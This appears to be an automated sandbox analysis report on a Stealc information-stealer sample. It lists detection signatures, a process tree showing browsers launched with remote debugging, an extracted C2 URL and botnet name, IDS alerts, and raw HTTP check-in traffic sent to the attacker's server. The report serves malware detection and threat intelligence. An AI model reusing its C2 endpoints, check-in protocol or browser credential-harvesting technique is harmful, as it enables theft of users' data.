Edit tour

Windows Analysis Report
5BQwrSLxIZ.exe

Overview

General Information

Sample name:	5BQwrSLxIZ.exe renamed because original name is a hash value
Original sample name:	44d41fbeec6ac8aacec9b49e01d3b311.exe
Analysis ID:	1544785
MD5:	44d41fbeec6ac8aacec9b49e01d3b311
SHA1:	e5f5af2ac534e3352a93f57dae44f684a118a2b9
SHA256:	ff0b6360bee72c4ef53aada8f58cdab6a212b165fbf11b5f4cbfe4b6d1ba46cb
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Monitors registry run keys for changes

Searches for specific processes (likely to inject)

Tries to harvest and steal browser information (history, passwords, etc)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

5BQwrSLxIZ.exe (PID: 3056 cmdline: "C:\Users\user\Desktop\5BQwrSLxIZ.exe" MD5: 44D41FBEEC6AC8AACEC9B49E01D3B311)

chrome.exe (PID: 2584 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2124,i,623430963547524201,12155014114524219740,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7668 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2788 --field-trial-handle=2428,i,8417053299692469591,16795964137482112875,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

WerFault.exe (PID: 2292 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1876 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 7900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2212 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=952 --field-trial-handle=2052,i,5172159360179937622,2345701733477799989,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.88.76.238/3b55d279dd60140c.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2754231192.0000000002C49000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2754327165.0000000002CBF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 5BQwrSLxIZ.exe PID: 3056	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 5BQwrSLxIZ.exe PID: 3056	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 5BQwrSLxIZ.exe PID: 3056	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.5BQwrSLxIZ.exe.4840e67.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5BQwrSLxIZ.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.5BQwrSLxIZ.exe.4920000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5BQwrSLxIZ.exe.4840e67.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.5BQwrSLxIZ.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.5BQwrSLxIZ.exe.4920000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\5BQwrSLxIZ.exe", ParentImage: C:\Users\user\Desktop\5BQwrSLxIZ.exe, ParentProcessId: 3056, ParentProcessName: 5BQwrSLxIZ.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2584, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:10.047969+0100	2044245	1	Malware Command and Control Activity Detected	45.88.76.238	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:10.041337+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	45.88.76.238	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:10.288555+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	45.88.76.238	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:10.900621+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	45.88.76.238	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:10.295937+0100	2044247	1	Malware Command and Control Activity Detected	45.88.76.238	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:09.796846+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	45.88.76.238	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:42:11.143845+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	45.88.76.238	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5BQwrSLxIZ.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://45.88.76.238/3b55d279dd60140c.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: 5BQwrSLxIZ.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 5BQwrSLxIZ.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8BB040 BCryptGenRandom,SystemFunction036,	0_2_6C8BB040

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

Unpacked PE file: 0.2.5BQwrSLxIZ.exe.400000.0.unpack

Source: 5BQwrSLxIZ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49906 version: TLS 1.0

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.72:443 -> 192.168.2.5:49987 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 5BQwrSLxIZ.exe, 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: 5BQwrSLxIZ.exe, 5BQwrSLxIZ.exe, 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	Code function: 0_2_6C8F717D FindFirstFileExW,	0_2_6C8F717D

Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\5BQwrSLxIZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 45.88.76.238:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 45.88.76.238:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.88.76.238:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 45.88.76.238:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.88.76.238:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 45.88.76.238:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://45.88.76.238/3b55d279dd60140c.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 17:42:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.88.76.238Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEHHost: 45.88.76.238Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 30 31 33 31 44 43 36 45 34 33 31 33 37 38 38 39 32 38 34 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="hwid"80131DC6E431378892841------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="build"LogsDiller------DAEGIDHDHIDGIEBGIJEH--
Source: global traffic	HTTP traffic detected: POST /3b55d279dd60140c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 45.88.76.238Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"browsers------HCAEGCBFHJDGCBFHDAFB--
